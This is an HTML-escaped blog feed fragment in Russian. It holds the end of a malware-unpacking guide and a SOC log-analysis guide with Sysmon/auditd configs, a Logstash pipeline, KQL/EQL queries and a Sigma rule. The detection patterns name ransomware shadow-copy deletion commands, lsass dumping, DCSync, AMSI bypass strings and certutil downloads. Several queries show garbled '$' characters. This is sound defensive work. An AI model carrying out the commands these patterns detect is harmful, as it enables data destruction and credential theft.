  &lt;p id=&quot;qHPD&quot;&gt;Гайд охватывает полный цикл анализа упакованной малвари — от пассивной разведки до верификации дампа. Ключевые принципы которые проходят через все разделы:&lt;/p&gt;
  &lt;p id=&quot;jswL&quot;&gt;&lt;strong&gt;Методология &amp;quot;слой за слоем&amp;quot;&lt;/strong&gt; — каждый инструмент закрывает свой этап. DIE и PEStudio дают картину до запуска, HEX-редактор позволяет работать с заголовками вручную, x64dbg вскрывает рантайм, Scylla/PE-bear восстанавливают структуру.&lt;/p&gt;
  &lt;p id=&quot;BJkm&quot;&gt;&lt;strong&gt;Понимание механики важнее инструментов&lt;/strong&gt; — знание того, почему ESP Trick работает (PUSHAD/POPAD и момент записи регистров), почему IAT бывает пустой, как CONTEXT структура хранит OEP при Process Hollowing — позволяет действовать когда автоматика ломается.&lt;/p&gt;
  &lt;p id=&quot;pswC&quot;&gt;&lt;strong&gt;Порядок действий при неизвестном образце:&lt;/strong&gt;&lt;/p&gt;
  &lt;ol id=&quot;aSYM&quot;&gt;
    &lt;li id=&quot;uvJZ&quot;&gt;DIE → тип паккера/компилятора/энтропия&lt;/li&gt;
    &lt;li id=&quot;5FfV&quot;&gt;PEStudio → IAT, строки, индикаторы&lt;/li&gt;
    &lt;li id=&quot;jUUd&quot;&gt;HEX → ручная проверка заголовка, embedded PE&lt;/li&gt;
    &lt;li id=&quot;vTlH&quot;&gt;x64dbg + ScyllaHide → ESP trick или VirtualAlloc BP&lt;/li&gt;
    &lt;li id=&quot;EEQz&quot;&gt;Обход anti-debug (IsDebuggerPresent, RDTSC, TLS)&lt;/li&gt;
    &lt;li id=&quot;Z4uW&quot;&gt;Дамп через Scylla → правка в PE-bear&lt;/li&gt;
    &lt;li id=&quot;NKl4&quot;&gt;Верификация в DIE + PEStudio + Ghidra&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;iQL9&quot;&gt;&lt;strong&gt;Критические точки отказа&lt;/strong&gt; — если дамп не работает, почти всегда причина в одном из трёх: неправильный момент дампа (IAT не восстановлена), неверный OEP в PE-заголовке, нулевые Raw Size в секциях. Все три решаются в PE-bear вручную.&lt;/p&gt;
  &lt;p id=&quot;bGBK&quot;&gt;&lt;strong&gt;.NET — отдельный мир&lt;/strong&gt; — стандартный подход через x64dbg там неприменим. dnSpy + de4dot + ручной поиск дешифраторов строк и embedded PE в ресурсах.&lt;/p&gt;
  &lt;p id=&quot;oQQX&quot;&gt;Гайд намеренно избегает скриптовой автоматизации — всё описано на уровне ручных действий, что формирует понимание процесса, а не зависимость от конкретных инструментов.&lt;/p&gt;

</content></entry><entry><id>sccrrap:v6v8ZeGTRby</id><link rel="alternate" type="text/html" href="https://teletype.in/@sccrrap/v6v8ZeGTRby?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=sccrrap"></link><title>Анализ логов: от источника до детекта</title><published>2026-04-08T09:46:28.078Z</published><updated>2026-04-08T09:46:28.078Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img4.teletype.in/files/73/95/73951dfd-7f70-47c3-9e58-2a4085bf9929.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img4.teletype.in/files/33/90/3390e93c-7808-4d2c-8520-3958a21da055.jpeg&quot;&gt;Прежде чем строить правила — нужно понимать, какие источники дают какую телеметрию и что в них есть, а чего нет.</summary><content type="html">
  &lt;figure id=&quot;QvWm&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/33/90/3390e93c-7808-4d2c-8520-3958a21da055.jpeg&quot; width=&quot;2464&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;yKZZ&quot;&gt;1. Что и откуда собирать&lt;/h2&gt;
  &lt;p id=&quot;PubW&quot;&gt;Прежде чем строить правила — нужно понимать, какие источники дают какую телеметрию и что в них есть, а чего нет.&lt;/p&gt;
  &lt;h3 id=&quot;6FMY&quot;&gt;Windows Event Log&lt;/h3&gt;
  &lt;p id=&quot;5icq&quot;&gt;Основной источник для большинства расследований. Ключевые каналы:&lt;/p&gt;
  &lt;figure id=&quot;UjEW&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/8a/44/8a4443b6-bd11-42a2-bc4a-a4b77c009939.png&quot; width=&quot;716&quot; /&gt;
  &lt;/figure&gt;
  &lt;blockquote id=&quot;VMa2&quot;&gt;&lt;strong&gt;Проблема с 4688&lt;/strong&gt;: по умолчанию командная строка в нём отсутствует. Без включённого &lt;code&gt;Audit Process Creation&lt;/code&gt; + &lt;code&gt;Include command line in process creation events&lt;/code&gt; (GPO) — поле &lt;code&gt;ProcessCommandLine&lt;/code&gt; будет пустым. Это частая причина слепых пятен.&lt;/blockquote&gt;
  &lt;h3 id=&quot;Jl18&quot;&gt;Sysmon — почему он важнее нативного аудита&lt;/h3&gt;
  &lt;p id=&quot;k7dC&quot;&gt;Sysmon дополняет EventLog тем, чего нет нативно: хэши процессов, полный путь к образу, родительский процесс, network connections с PID, DNS-запросы, pipe events.&lt;/p&gt;
  &lt;pre id=&quot;8yQw&quot; data-lang=&quot;xml&quot;&gt;&amp;lt;!-- Минимальная конфигурация: SwiftOnSecurity/sysmon-config --&amp;gt;
&amp;lt;!-- или более агрессивная: olafhartong/sysmon-modular --&amp;gt;
&amp;lt;Sysmon schemaversion=&amp;quot;4.82&amp;quot;&amp;gt;
  &amp;lt;EventFiltering&amp;gt;
    &amp;lt;!-- EID 1: Process Create — логировать всё, кроме шума --&amp;gt;
    &amp;lt;RuleGroup name=&amp;quot;ProcessCreate&amp;quot; groupRelation=&amp;quot;or&amp;quot;&amp;gt;
      &amp;lt;ProcessCreate onmatch=&amp;quot;exclude&amp;quot;&amp;gt;
        &amp;lt;Image condition=&amp;quot;is&amp;quot;&amp;gt;C:\Windows\System32\svchost.exe&amp;lt;/Image&amp;gt;
      &amp;lt;/ProcessCreate&amp;gt;
    &amp;lt;/RuleGroup&amp;gt;
    &amp;lt;!-- EID 3: Network Connect — только нестандартные порты --&amp;gt;
    &amp;lt;RuleGroup name=&amp;quot;NetworkConnect&amp;quot; groupRelation=&amp;quot;or&amp;quot;&amp;gt;
      &amp;lt;NetworkConnect onmatch=&amp;quot;include&amp;quot;&amp;gt;
        &amp;lt;DestinationPort condition=&amp;quot;is not&amp;quot;&amp;gt;80&amp;lt;/DestinationPort&amp;gt;
        &amp;lt;DestinationPort condition=&amp;quot;is not&amp;quot;&amp;gt;443&amp;lt;/DestinationPort&amp;gt;
      &amp;lt;/NetworkConnect&amp;gt;
    &amp;lt;/RuleGroup&amp;gt;
  &amp;lt;/EventFiltering&amp;gt;
&amp;lt;/Sysmon&amp;gt;
&lt;/pre&gt;
  &lt;p id=&quot;mjXs&quot;&gt;Полная таблица Sysmon EID для аналитика:&lt;/p&gt;
  &lt;p id=&quot;A5yE&quot;&gt;EID Событие Зачем нужен     1 Process Create PID, PPID, cmdline, hashes, user   3 Network Connect process → dst_ip:port   7 Image Loaded DLL из %TEMP%, unsigned   8 CreateRemoteThread process injection   10 ProcessAccess OpenProcess + GrantedAccess   11 File Create dropper, persistence   12/13/14 Registry Run-ключи, IFEO, COM hijack   15 FileCreateStreamHash ADS (Alternate Data Stream)   17/18 Pipe Create/Connect named pipe C2, lateral movement   22 DNS Query C2 resolution, DGA   25 Process Tampering hollowing, herpaderping   26 File Delete Detected anti-forensics&lt;/p&gt;
  &lt;h3 id=&quot;sBzL&quot;&gt;Linux: auditd vs syslog vs eBPF&lt;/h3&gt;
  &lt;pre id=&quot;dROZ&quot; data-lang=&quot;bash&quot;&gt;# auditd — минимальный набор правил для SOC
# /etc/audit/rules.d/soc.rules

# Исполнение файлов
-a always,exit -F arch=b64 -S execve -k exec
# Изменения в /etc, /tmp
-w /etc/passwd -p wa -k passwd_changes
-w /tmp -p x -k tmp_exec
# Привилегированные команды
-a always,exit -F path=/usr/bin/sudo -F perm=x -k sudo_usage
# Сетевые соединения (syscall level)
-a always,exit -F arch=b64 -S connect -k network_connect
# Загрузка модулей ядра
-a always,exit -F arch=b64 -S init_module,finit_module -k kernel_module
&lt;/pre&gt;
  &lt;blockquote id=&quot;DIx5&quot;&gt;&lt;strong&gt;eBPF как альтернатива&lt;/strong&gt;: Falco, Tetragon — дают syscall-уровень без тяжёлого auditd. Особенно актуально для контейнеров. Но на классическом Linux-хосте для IR auditd + syslog вполне достаточно.&lt;/blockquote&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;1wDF&quot;&gt;2. Нормализация: что происходит в Logstash/Ingest Pipeline&lt;/h2&gt;
  &lt;p id=&quot;1vvA&quot;&gt;Сырой лог бесполезен без нормализации. Задача этого слоя — привести всё к единой схеме (ECS — Elastic Common Schema) и обогатить данными.&lt;/p&gt;
  &lt;pre id=&quot;dAmy&quot;&gt;# Logstash pipeline: windows_security.conf
input {
  beats { port =&amp;gt; 5044 }
}

filter {
  # Парсим Windows Security события
  if [winlog][channel] == &amp;quot;Security&amp;quot; {
    mutate {
      rename =&amp;gt; {
        &amp;quot;[winlog][event_data][SubjectUserName]&amp;quot; =&amp;gt; &amp;quot;[user][name]&amp;quot;
        &amp;quot;[winlog][event_data][IpAddress]&amp;quot;       =&amp;gt; &amp;quot;[source][ip]&amp;quot;
        &amp;quot;[winlog][event_data][ProcessName]&amp;quot;     =&amp;gt; &amp;quot;[process][executable]&amp;quot;
      }
    }

    # Обогащение: GeoIP для source.ip
    if [source][ip] and [source][ip] != &amp;quot;-&amp;quot; {
      geoip {
        source =&amp;gt; &amp;quot;[source][ip]&amp;quot;
        target =&amp;gt; &amp;quot;[source][geo]&amp;quot;
      }
    }

    # Threat intel lookup (файл IOC или MISP)
    translate {
      field       =&amp;gt; &amp;quot;[source][ip]&amp;quot;
      destination =&amp;gt; &amp;quot;[threat][indicator][match]&amp;quot;
      dictionary_path =&amp;gt; &amp;quot;/etc/logstash/ioc_ips.yml&amp;quot;
      fallback    =&amp;gt; &amp;quot;false&amp;quot;
    }
  }

  # Нормализация пути к процессу (lowercase для KQL)
  if [process][executable] {
    mutate {
      lowercase =&amp;gt; [&amp;quot;[process][executable]&amp;quot;]
    }
  }
}

output {
  elasticsearch {
    hosts    =&amp;gt; [&amp;quot;https://es01:9200&amp;quot;]
    index    =&amp;gt; &amp;quot;logs-windows-%{+YYYY.MM.dd}&amp;quot;
    ssl_certificate_verification =&amp;gt; true
  }
}
&lt;/pre&gt;
  &lt;p id=&quot;e569&quot;&gt;&lt;strong&gt;ECS — ключевые поля, которые нужно знать&lt;/strong&gt;:&lt;/p&gt;
  &lt;p id=&quot;hizr&quot;&gt;ECS поле Windows источник Что хранит     &lt;code&gt;process.name&lt;/code&gt; Image (Sysmon EID 1) имя процесса   &lt;code&gt;process.command_line&lt;/code&gt; CommandLine полная командная строка   &lt;code&gt;process.parent.name&lt;/code&gt; ParentImage родительский процесс   &lt;code&gt;process.hash.sha256&lt;/code&gt; Hashes хэш бинаря   &lt;code&gt;user.name&lt;/code&gt; SubjectUserName пользователь   &lt;code&gt;host.name&lt;/code&gt; Computer хост-источник   &lt;code&gt;network.destination.ip&lt;/code&gt; DestinationIp (Sysmon 3) dst IP   &lt;code&gt;dns.question.name&lt;/code&gt; QueryName (Sysmon 22) DNS запрос   &lt;code&gt;file.path&lt;/code&gt; TargetFilename (Sysmon 11) путь к файлу   &lt;code&gt;registry.path&lt;/code&gt; TargetObject (Sysmon 13) ключ реестра&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;sEMS&quot;&gt;3. KQL — запросы для Kibana SIEM&lt;/h2&gt;
  &lt;h3 id=&quot;5pN9&quot;&gt;Базовая анатомия KQL&lt;/h3&gt;
  &lt;pre id=&quot;OLap&quot;&gt;field: &amp;quot;value&amp;quot;                         — точное совпадение
field: *value*                         — wildcard
field: (val1 OR val2 OR val3)          — OR в скобках
field &amp;gt;= 100 AND field &amp;lt;= 500          — диапазон
NOT field: &amp;quot;value&amp;quot;                     — исключение
field.keyword: &amp;quot;exact&amp;quot;                 — keyword (без анализа)
&lt;/pre&gt;
  &lt;blockquote id=&quot;wDVr&quot;&gt;&lt;strong&gt;&lt;code&gt;field&lt;/code&gt; vs &lt;code&gt;field.keyword&lt;/code&gt;&lt;/strong&gt;: text-поля в ES анализируются — &amp;quot;C:\Windows\System32&amp;quot; разбивается на токены. Для точных путей всегда используй &lt;code&gt;.keyword&lt;/code&gt;-вариант поля, иначе поиск по подстроке может дать ложные срабатывания.&lt;/blockquote&gt;
  &lt;hr /&gt;
  &lt;h3 id=&quot;mZRQ&quot;&gt;Обнаружение выполнения команд&lt;/h3&gt;
  &lt;p id=&quot;L8yP&quot;&gt;&lt;strong&gt;🔴 LOLBin / Living Off the Land&lt;/strong&gt;&lt;/p&gt;
  &lt;pre id=&quot;1MS8&quot;&gt;event.code: &amp;quot;1&amp;quot;
AND process.name: (
    &amp;quot;certutil.exe&amp;quot; OR &amp;quot;bitsadmin.exe&amp;quot; OR &amp;quot;mshta.exe&amp;quot; OR
    &amp;quot;wscript.exe&amp;quot;  OR &amp;quot;cscript.exe&amp;quot;   OR &amp;quot;regsvr32.exe&amp;quot; OR
    &amp;quot;rundll32.exe&amp;quot; OR &amp;quot;msiexec.exe&amp;quot;   OR &amp;quot;installutil.exe&amp;quot; OR
    &amp;quot;schtasks.exe&amp;quot; OR &amp;quot;at.exe&amp;quot;        OR &amp;quot;wmic.exe&amp;quot;
)
AND NOT process.parent.name: (
    &amp;quot;msiexec.exe&amp;quot; OR &amp;quot;iexplore.exe&amp;quot; OR
    &amp;quot;C:\\Windows\\System32\\services.exe&amp;quot;
)
&lt;/pre&gt;
  &lt;p id=&quot;0zwY&quot;&gt;&lt;strong&gt;🔴 PowerShell Encoded Command&lt;/strong&gt;&lt;/p&gt;
  &lt;pre id=&quot;G93E&quot;&gt;event.code: &amp;quot;4104&amp;quot;
AND winlog.event_data.ScriptBlockText: (
    &amp;quot;*-enc *&amp;quot;  OR &amp;quot;*-EncodedCommand*&amp;quot; OR
    &amp;quot;*FromBase64String*&amp;quot; OR &amp;quot;*IEX*&amp;quot;   OR
    &amp;quot;*Invoke-Expression*&amp;quot; OR &amp;quot;*bypass*&amp;quot;
)
&lt;/pre&gt;
  &lt;blockquote id=&quot;iwIE&quot;&gt;&lt;strong&gt;Почему EID 4104, а не 4688&lt;/strong&gt;: Script Block Logging (4104) пишет содержимое скрипта до обфускации — то, что PowerShell реально выполнил. EID 4688 пишет только вызов &lt;code&gt;powershell.exe&lt;/code&gt; с аргументами, обфусцированная строка остаётся нечитаемой.&lt;/blockquote&gt;
  &lt;p id=&quot;BNty&quot;&gt;&lt;strong&gt;🟠 AMSI Bypass Patterns&lt;/strong&gt;&lt;/p&gt;
  &lt;pre id=&quot;O1nK&quot;&gt;event.code: &amp;quot;4104&amp;quot;
AND winlog.event_data.ScriptBlockText: (
    &amp;quot;*amsiInitFailed*&amp;quot;     OR
    &amp;quot;*AmsiScanBuffer*&amp;quot;     OR
    &amp;quot;*[Ref].Assembly*&amp;quot;     OR
    &amp;quot;*System.Runtime.InteropServices.Marshal*&amp;quot;
)
&lt;/pre&gt;
  &lt;p id=&quot;mukv&quot;&gt;&lt;strong&gt;🟠 Подозрительный родитель процесса (Parent-Child)&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;cQLF&quot;&gt;Аномальные пары родитель → дочерний процесс:&lt;/p&gt;
  &lt;pre id=&quot;DYiP&quot;&gt;event.code: &amp;quot;1&amp;quot;
AND (
    (process.parent.name: &amp;quot;winword.exe&amp;quot;  AND process.name: (&amp;quot;cmd.exe&amp;quot; OR &amp;quot;powershell.exe&amp;quot; OR &amp;quot;wscript.exe&amp;quot;)) OR
    (process.parent.name: &amp;quot;excel.exe&amp;quot;   AND process.name: (&amp;quot;cmd.exe&amp;quot; OR &amp;quot;powershell.exe&amp;quot; OR &amp;quot;mshta.exe&amp;quot;))   OR
    (process.parent.name: &amp;quot;outlook.exe&amp;quot; AND process.name: (&amp;quot;cmd.exe&amp;quot; OR &amp;quot;powershell.exe&amp;quot; OR &amp;quot;wscript.exe&amp;quot;)) OR
    (process.parent.name: &amp;quot;acrobat.exe&amp;quot; AND process.name: (&amp;quot;cmd.exe&amp;quot; OR &amp;quot;powershell.exe&amp;quot;))                   OR
    (process.parent.name: &amp;quot;mshta.exe&amp;quot;   AND process.name: (&amp;quot;powershell.exe&amp;quot; OR &amp;quot;cmd.exe&amp;quot; OR &amp;quot;wscript.exe&amp;quot;))
)
&lt;/pre&gt;
  &lt;hr /&gt;
  &lt;h3 id=&quot;FLnY&quot;&gt;Persistence&lt;/h3&gt;
  &lt;p id=&quot;rX45&quot;&gt;&lt;strong&gt;🔴 Registry Run-ключи&lt;/strong&gt;&lt;/p&gt;
  &lt;pre id=&quot;5RW6&quot;&gt;event.code: (&amp;quot;12&amp;quot; OR &amp;quot;13&amp;quot;)
AND winlog.event_data.TargetObject: (
    &amp;quot;*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run*&amp;quot;     OR
    &amp;quot;*\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce*&amp;quot; OR
    &amp;quot;*\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Run*&amp;quot; OR
    &amp;quot;*\\SYSTEM\\CurrentControlSet\\Services\\*&amp;quot;
)
AND NOT process.name: (
    &amp;quot;msiexec.exe&amp;quot; OR &amp;quot;setup.exe&amp;quot; OR &amp;quot;install.exe&amp;quot;
)
&lt;/pre&gt;
  &lt;p id=&quot;0Myx&quot;&gt;&lt;strong&gt;🔴 Scheduled Task из командной строки&lt;/strong&gt;&lt;/p&gt;
  &lt;pre id=&quot;yEYv&quot;&gt;event.code: &amp;quot;1&amp;quot;
AND process.name: &amp;quot;schtasks.exe&amp;quot;
AND process.command_line: (
    &amp;quot;*/create*&amp;quot; AND (
        &amp;quot;*/sc onlogon*&amp;quot; OR &amp;quot;*/sc onstart*&amp;quot; OR
        &amp;quot;*/sc minute*&amp;quot;  OR &amp;quot;*/sc hourly*&amp;quot;
    )
)
AND NOT user.name: (&amp;quot;SYSTEM&amp;quot; OR &amp;quot;LOCAL SERVICE&amp;quot; OR &amp;quot;NETWORK SERVICE&amp;quot;)
&lt;/pre&gt;
  &lt;p id=&quot;9iZJ&quot;&gt;&lt;strong&gt;🟠 IFEO Debugger Injection (Image File Execution Options)&lt;/strong&gt;&lt;/p&gt;
  &lt;pre id=&quot;vO6b&quot;&gt;event.code: (&amp;quot;12&amp;quot; OR &amp;quot;13&amp;quot;)
AND winlog.event_data.TargetObject: (
    &amp;quot;*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\*\\Debugger&amp;quot;
)
&lt;/pre&gt;
  &lt;blockquote id=&quot;OUPS&quot;&gt;IFEO Debugger — классический persistence/bypass: малварь прописывает себя как debugger для легитимного процесса. При запуске того процесса вместо него выполняется малварь.&lt;/blockquote&gt;
  &lt;p id=&quot;183U&quot;&gt;&lt;strong&gt;🟠 WMI Event Subscription (филeless persistence)&lt;/strong&gt;&lt;/p&gt;
  &lt;pre id=&quot;4UMd&quot;&gt;event.code: &amp;quot;19&amp;quot; OR event.code: &amp;quot;20&amp;quot; OR event.code: &amp;quot;21&amp;quot;
&lt;/pre&gt;
  &lt;p id=&quot;gwbm&quot;&gt;Sysmon EID 19/20/21 — WMI activity. Любой из них без известного software-источника заслуживает расследования. Это один из самых незаметных persistence-механизмов.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h3 id=&quot;flYX&quot;&gt;Lateral Movement&lt;/h3&gt;
  &lt;p id=&quot;IsTC&quot;&gt;&lt;strong&gt;🔴 Pass-the-Hash / Pass-the-Ticket признаки&lt;/strong&gt;&lt;/p&gt;
  &lt;pre id=&quot;yJvs&quot;&gt;event.code: &amp;quot;4624&amp;quot;
AND winlog.event_data.LogonType: &amp;quot;3&amp;quot;
AND winlog.event_data.AuthenticationPackageName: &amp;quot;NTLM&amp;quot;
AND winlog.event_data.WorkstationName: &amp;quot;-&amp;quot;
AND NOT winlog.event_data.SubjectUserName: &amp;quot;*quot;
&lt;/pre&gt;
  &lt;blockquote id=&quot;op3H&quot;&gt;&lt;code&gt;WorkstationName: &amp;quot;-&amp;quot;&lt;/code&gt; при NTLM LogonType 3 — признак PtH: легитимные NTLM-аутентификации обычно имеют имя рабочей станции.&lt;/blockquote&gt;
  &lt;p id=&quot;SyG9&quot;&gt;&lt;strong&gt;🔴 SMB Lateral Movement (admin shares)&lt;/strong&gt;&lt;/p&gt;
  &lt;pre id=&quot;dsIb&quot;&gt;event.code: &amp;quot;4624&amp;quot;
AND winlog.event_data.LogonType: &amp;quot;3&amp;quot;
AND winlog.event_data.ShareName: (&amp;quot;\\\\*\\ADMINquot; OR &amp;quot;\\\\*\\Cquot; OR &amp;quot;\\\\*\\IPCquot;)
AND NOT winlog.event_data.SubjectUserName: (&amp;quot;*quot; OR &amp;quot;backup*&amp;quot; OR &amp;quot;admin*&amp;quot;)
&lt;/pre&gt;
  &lt;p id=&quot;ITRv&quot;&gt;&lt;strong&gt;🔴 PsExec / Remote Service Creation&lt;/strong&gt;&lt;/p&gt;
  &lt;pre id=&quot;m4IJ&quot;&gt;event.code: &amp;quot;7045&amp;quot;
AND winlog.event_data.ServiceFileName: (
    &amp;quot;*\\PSEXESVC*&amp;quot; OR &amp;quot;*\\PAExec*&amp;quot; OR
    &amp;quot;*\\RemComSvc*&amp;quot; OR &amp;quot;*cmd.exe*&amp;quot; OR
    &amp;quot;*powershell.exe*&amp;quot; OR &amp;quot;*\\Temp\\*&amp;quot;
)
&lt;/pre&gt;
  &lt;p id=&quot;3Iyr&quot;&gt;&lt;strong&gt;🟠 WinRM / WSMan Remote Execution&lt;/strong&gt;&lt;/p&gt;
  &lt;pre id=&quot;0BaS&quot;&gt;event.code: &amp;quot;1&amp;quot;
AND process.parent.name: &amp;quot;wsmprovhost.exe&amp;quot;
&lt;/pre&gt;
  &lt;p id=&quot;PayK&quot;&gt;Все процессы, порождённые через WinRM, имеют &lt;code&gt;wsmprovhost.exe&lt;/code&gt; в качестве родителя. Легитимные сценарии — администрирование, но в паре с аномальным дочерним процессом это IOC.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h3 id=&quot;YyTY&quot;&gt;Credential Access&lt;/h3&gt;
  &lt;p id=&quot;PgBN&quot;&gt;&lt;strong&gt;🔴 DCSync (репликация AD для дампа хэшей)&lt;/strong&gt;&lt;/p&gt;
  &lt;pre id=&quot;xrTm&quot;&gt;event.code: &amp;quot;4662&amp;quot;
AND winlog.event_data.Properties: (
    &amp;quot;*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*&amp;quot; OR
    &amp;quot;*1131f6ab-9c07-11d1-f79f-00c04fc2dcd2*&amp;quot; OR
    &amp;quot;*89e95b76-444d-4c62-991a-0facbeda640c*&amp;quot;
)
AND NOT winlog.event_data.SubjectUserName: &amp;quot;*quot;
&lt;/pre&gt;
  &lt;p id=&quot;9mw7&quot;&gt;Эти GUIDs — права на репликацию AD: &lt;code&gt;DS-Replication-Get-Changes&lt;/code&gt;, &lt;code&gt;DS-Replication-Get-Changes-All&lt;/code&gt;, &lt;code&gt;DS-Replication-Get-Changes-In-Filtered-Set&lt;/code&gt;. Их запрашивает только контроллер домена — и Mimikatz DCSync.&lt;/p&gt;
  &lt;p id=&quot;1r77&quot;&gt;&lt;strong&gt;🟠 Volume Shadow Copy Deletion (pre-ransomware)&lt;/strong&gt;&lt;/p&gt;
  &lt;pre id=&quot;9raD&quot;&gt;event.code: &amp;quot;1&amp;quot;
AND process.command_line: (
    &amp;quot;*vssadmin*delete shadows*&amp;quot; OR
    &amp;quot;*wmic*shadowcopy*delete*&amp;quot;  OR
    &amp;quot;*wbadmin*delete*catalog*&amp;quot;  OR
    &amp;quot;*bcdedit*/set*recoveryenabled*no*&amp;quot;
)
&lt;/pre&gt;
  &lt;p id=&quot;KPpA&quot;&gt;Появление любой из этих команд — высокая вероятность ransomware или деструктивной активности.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;AdAl&quot;&gt;4. EQL — детектирование цепочек событий&lt;/h2&gt;
  &lt;p id=&quot;94Ae&quot;&gt;EQL (Event Query Language) — самый мощный инструмент для детекта многоэтапных атак. Один сигнал легко отфильтровать, последовательность — нет.&lt;/p&gt;
  &lt;pre id=&quot;Svla&quot;&gt;-- Детект: macro → child process → network connection
-- (фишинг через Office-документ)
sequence by host.name with maxspan=2m
  [process where event.type == &amp;quot;start&amp;quot;
   and process.parent.name : (&amp;quot;winword.exe&amp;quot;, &amp;quot;excel.exe&amp;quot;, &amp;quot;outlook.exe&amp;quot;)]
  [process where event.type == &amp;quot;start&amp;quot;
   and process.name : (&amp;quot;cmd.exe&amp;quot;, &amp;quot;powershell.exe&amp;quot;, &amp;quot;wscript.exe&amp;quot;, &amp;quot;mshta.exe&amp;quot;)]
  [network where event.type == &amp;quot;start&amp;quot;
   and not cidrmatch(destination.ip, &amp;quot;10.0.0.0/8&amp;quot;, &amp;quot;172.16.0.0/12&amp;quot;, &amp;quot;192.168.0.0/16&amp;quot;)]
&lt;/pre&gt;
  &lt;pre id=&quot;6XBv&quot;&gt;-- Детект: discovery burst (типичный пост-эксплоит enum)
-- 5+ discovery-команд с одного хоста за 60 секунд
sequence by host.name with maxspan=60s
  [process where process.name : (&amp;quot;whoami.exe&amp;quot;, &amp;quot;net.exe&amp;quot;, &amp;quot;ipconfig.exe&amp;quot;,
                                  &amp;quot;systeminfo.exe&amp;quot;, &amp;quot;nltest.exe&amp;quot;, &amp;quot;arp.exe&amp;quot;)]
  [process where process.name : (&amp;quot;whoami.exe&amp;quot;, &amp;quot;net.exe&amp;quot;, &amp;quot;ipconfig.exe&amp;quot;,
                                  &amp;quot;systeminfo.exe&amp;quot;, &amp;quot;nltest.exe&amp;quot;, &amp;quot;arp.exe&amp;quot;)]
  [process where process.name : (&amp;quot;whoami.exe&amp;quot;, &amp;quot;net.exe&amp;quot;, &amp;quot;ipconfig.exe&amp;quot;,
                                  &amp;quot;systeminfo.exe&amp;quot;, &amp;quot;nltest.exe&amp;quot;, &amp;quot;arp.exe&amp;quot;)]
  [process where process.name : (&amp;quot;whoami.exe&amp;quot;, &amp;quot;net.exe&amp;quot;, &amp;quot;ipconfig.exe&amp;quot;,
                                  &amp;quot;systeminfo.exe&amp;quot;, &amp;quot;nltest.exe&amp;quot;, &amp;quot;arp.exe&amp;quot;)]
  [process where process.name : (&amp;quot;whoami.exe&amp;quot;, &amp;quot;net.exe&amp;quot;, &amp;quot;ipconfig.exe&amp;quot;,
                                  &amp;quot;systeminfo.exe&amp;quot;, &amp;quot;nltest.exe&amp;quot;, &amp;quot;arp.exe&amp;quot;)]
&lt;/pre&gt;
  &lt;pre id=&quot;gQiE&quot;&gt;-- Детект: credential dump → lateral movement
-- (дамп lsass → использование полученных кредов)
sequence by host.name with maxspan=10m
  [process where event.type == &amp;quot;start&amp;quot;
   and (process.name : (&amp;quot;procdump*.exe&amp;quot;, &amp;quot;nanodump*&amp;quot;, &amp;quot;mimikatz*&amp;quot;)
        or process.command_line : &amp;quot;*lsass*&amp;quot;)]
  [authentication where event.action == &amp;quot;logged-in&amp;quot;
   and winlog.logon.type == &amp;quot;Network&amp;quot;
   and source.ip != &amp;quot;127.0.0.1&amp;quot;]
&lt;/pre&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;4duD&quot;&gt;5. Sigma — переносимые правила&lt;/h2&gt;
  &lt;p id=&quot;R6Bf&quot;&gt;Sigma — YAML-формат для правил детектирования, не привязанный к конкретной SIEM. Пишешь один раз — конвертируешь в KQL, SPL (Splunk), ESQL, SQL.&lt;/p&gt;
  &lt;pre id=&quot;WfS1&quot;&gt;# sigma_rule_lolbin_certutil_download.yml
title: CertUtil Used to Download File
id: 19b08b1c-861d-4e75-a1ef-ea0c1baf202b
status: stable
description: Detects certutil.exe used as a downloader (classic LOLBin pattern)
references:
  - https://attack.mitre.org/techniques/T1105/
tags:
  - attack.command_and_control
  - attack.t1105
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: &amp;#x27;\certutil.exe&amp;#x27;
    CommandLine|contains:
      - &amp;#x27;-urlcache&amp;#x27;
      - &amp;#x27;-verifyctl&amp;#x27;
      - &amp;#x27;-decode&amp;#x27;
  filter_legit:
    CommandLine|contains:
      - &amp;#x27;pkiview&amp;#x27;
      - &amp;#x27;certificate&amp;#x27;
  condition: selection and not filter_legit
falsepositives:
  - Certificate management by admins
level: high
&lt;/pre&gt;
  &lt;p id=&quot;R4dr&quot;&gt;&lt;strong&gt;Конвертация в KQL через sigma-cli:&lt;/strong&gt;&lt;/p&gt;
  &lt;pre id=&quot;MycI&quot;&gt;pip install sigma-cli
pip install pysigma-backend-elasticsearch

# Конвертация в KQL (Kibana)
sigma convert -t kibana -p ecs_windows sigma_rule_lolbin_certutil_download.yml

# Конвертация в ES|QL (Elasticsearch Query Language — новый синтаксис)
sigma convert -t esql -p ecs_windows sigma_rule_lolbin_certutil_download.yml

# Конвертация для Splunk
sigma convert -t splunk -p splunk_windows sigma_rule_lolbin_certutil_download.yml
&lt;/pre&gt;
  &lt;p id=&quot;RUkY&quot;&gt;&lt;strong&gt;Источники готовых Sigma-правил:&lt;/strong&gt;&lt;/p&gt;
  &lt;ul id=&quot;8P4w&quot;&gt;
    &lt;li id=&quot;x9kC&quot;&gt;&lt;code&gt;SigmaHQ/sigma&lt;/code&gt; — официальный репозиторий (~3000+ правил)&lt;/li&gt;
